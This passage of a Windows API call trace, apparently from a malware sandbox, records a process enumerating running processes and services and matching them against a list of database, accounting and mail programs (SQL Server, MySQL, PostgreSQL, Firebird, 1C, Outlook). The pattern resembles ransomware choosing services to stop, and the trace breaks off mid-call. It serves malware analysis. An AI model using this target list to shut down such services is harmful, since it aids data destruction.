[0246.559] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0246.559] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0246.559] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0246.560] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0246.561] lstrlenW (lpString="lsass.exe") returned 9 [0246.561] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0246.561] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0246.561] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0246.561] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0246.561] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0246.561] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0246.561] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0246.561] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0246.562] lstrlenW (lpString="lsm.exe") returned 7 [0246.562] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0246.562] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0246.562] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0246.563] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0246.563] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0246.563] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0246.563] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0246.563] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.564] lstrlenW (lpString="svchost.exe") returned 11 [0246.564] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0246.564] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0246.564] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0246.564] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0246.564] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0246.564] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0246.565] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.566] lstrlenW (lpString="svchost.exe") returned 11 [0246.566] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.567] lstrlenW (lpString="svchost.exe") returned 11 [0246.567] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.746] lstrlenW (lpString="svchost.exe") returned 11 [0246.746] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.747] lstrlenW (lpString="svchost.exe") returned 11 [0246.747] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0246.748] lstrlenW (lpString="audiodg.exe") returned 11 [0246.748] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.749] lstrlenW (lpString="svchost.exe") returned 11 [0246.749] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0246.750] lstrlenW (lpString="userinit.exe") returned 12 [0246.751] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0246.752] lstrlenW (lpString="explorer.exe") returned 12 [0246.752] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0246.753] lstrlenW (lpString="dwm.exe") returned 7 [0246.753] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.754] lstrlenW (lpString="svchost.exe") returned 11 [0246.754] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0246.756] lstrlenW (lpString="winhost.exe") returned 11 [0246.756] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0246.757] lstrlenW (lpString="spoolsv.exe") returned 11 [0246.757] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.758] lstrlenW (lpString="svchost.exe") returned 11 [0246.758] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0246.760] lstrlenW (lpString="taskhost.exe") returned 12 [0246.760] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0246.761] lstrlenW (lpString="reader_sl.exe") returned 13 [0246.761] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0246.762] CloseHandle (hObject=0x394) returned 1 [0246.762] Sleep (dwMilliseconds=0x1f4) [0247.431] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e4f0 [0247.594] EnumServicesStatusExW (in: hSCManager=0x62e4f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0247.595] GetLastError () returned 0xea [0247.595] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xe90) returned 0x42a0060 [0247.596] EnumServicesStatusExW (in: hSCManager=0x62e4f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42a0060, cbBufSize=0xe90, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42a0060, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0247.596] CloseServiceHandle (hSCObject=0x62e4f0) returned 1 [0247.597] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0247.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0247.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0247.598] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0247.598] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0247.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0247.599] lstrlenW (lpString="AudioSrv") returned 8 [0247.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0247.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0247.599] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0247.599] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0247.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0247.599] lstrlenW (lpString="BFE") returned 3 [0247.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0247.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0247.599] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0247.599] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0247.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0247.599] lstrlenW (lpString="CryptSvc") returned 8 [0247.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0247.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0247.600] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0247.600] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0247.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0247.600] lstrlenW (lpString="CscService") returned 10 [0247.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0247.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0247.600] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0247.600] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0247.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0247.600] lstrlenW (lpString="DcomLaunch") returned 10 [0247.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0247.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0247.601] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0247.601] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0247.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0247.601] lstrlenW (lpString="Dhcp") returned 4 [0247.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0247.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0247.601] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0247.601] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0247.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0247.601] lstrlenW (lpString="Dnscache") returned 8 [0247.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0247.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0247.602] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0247.602] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0247.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0247.602] lstrlenW (lpString="DPS") returned 3 [0247.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0247.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0247.602] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0247.602] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0247.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0247.602] lstrlenW (lpString="eventlog") returned 8 [0247.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0247.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0247.602] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0247.603] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0247.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0247.603] lstrlenW (lpString="EventSystem") returned 11 [0247.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0247.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0247.603] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0247.603] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0247.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0247.603] lstrlenW (lpString="gpsvc") returned 5 [0247.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0247.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0247.603] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0247.603] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0247.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0247.604] lstrlenW (lpString="iphlpsvc") returned 8 [0247.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0247.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0247.604] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0247.604] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0247.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0247.604] lstrlenW (lpString="LanmanServer") returned 12 [0247.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0247.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0247.604] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0247.604] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0247.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0247.604] lstrlenW (lpString="LanmanWorkstation") returned 17 [0247.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0247.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0247.605] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0247.605] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0247.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0247.605] lstrlenW (lpString="lmhosts") returned 7 [0247.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0247.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0247.605] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0247.605] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0247.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0247.605] lstrlenW (lpString="MMCSS") returned 5 [0247.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0247.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0247.605] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0247.605] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0247.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0247.606] lstrlenW (lpString="MpsSvc") returned 6 [0247.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0247.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0247.606] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0247.606] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0247.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0247.606] lstrlenW (lpString="NlaSvc") returned 6 [0247.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0247.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0247.606] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0247.606] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0247.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0247.606] lstrlenW (lpString="nsi") returned 3 [0247.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0247.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0247.607] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0247.607] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0247.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0247.607] lstrlenW (lpString="PcaSvc") returned 6 [0247.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0247.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0247.607] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0247.607] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0247.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0247.607] lstrlenW (lpString="PlugPlay") returned 8 [0247.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0247.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0247.607] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0247.608] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0247.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0247.608] lstrlenW (lpString="Power") returned 5 [0247.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0247.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0247.608] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0247.608] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0247.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0247.608] lstrlenW (lpString="ProfSvc") returned 7 [0247.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0247.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0247.608] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0247.608] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0247.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0247.609] lstrlenW (lpString="RpcEptMapper") returned 12 [0247.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0247.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0247.609] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0247.609] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0247.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0247.609] lstrlenW (lpString="RpcSs") returned 5 [0247.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0247.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0247.609] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0247.609] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0247.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0247.609] lstrlenW (lpString="SamSs") returned 5 [0247.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0247.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0247.610] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0247.610] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0247.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0247.610] lstrlenW (lpString="Schedule") returned 8 [0247.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0247.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0247.610] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0247.610] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0247.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0247.610] lstrlenW (lpString="SENS") returned 4 [0247.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0247.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0247.610] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0247.610] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0247.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0247.610] lstrlenW (lpString="ShellHWDetection") returned 16 [0247.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0247.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0247.611] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0247.611] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0247.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0247.611] lstrlenW (lpString="Spooler") returned 7 [0247.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0247.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0247.611] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0247.611] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0247.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0247.611] lstrlenW (lpString="SysMain") returned 7 [0247.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0247.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0247.611] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0247.612] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0247.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0247.612] lstrlenW (lpString="Themes") returned 6 [0247.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0247.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0247.612] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0247.612] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0247.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0247.612] lstrlenW (lpString="TrkWks") returned 6 [0247.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0247.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0247.612] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0247.612] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0247.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0247.625] lstrlenW (lpString="UxSms") returned 5 [0247.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0247.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0247.625] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0247.625] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0247.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0247.625] lstrlenW (lpString="Winmgmt") returned 7 [0247.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0247.625] lstrcmpiW 